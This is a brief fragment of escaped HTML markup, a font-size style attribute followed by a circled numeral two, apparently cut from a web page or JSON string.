style=\"font-size:16px\">\u2461 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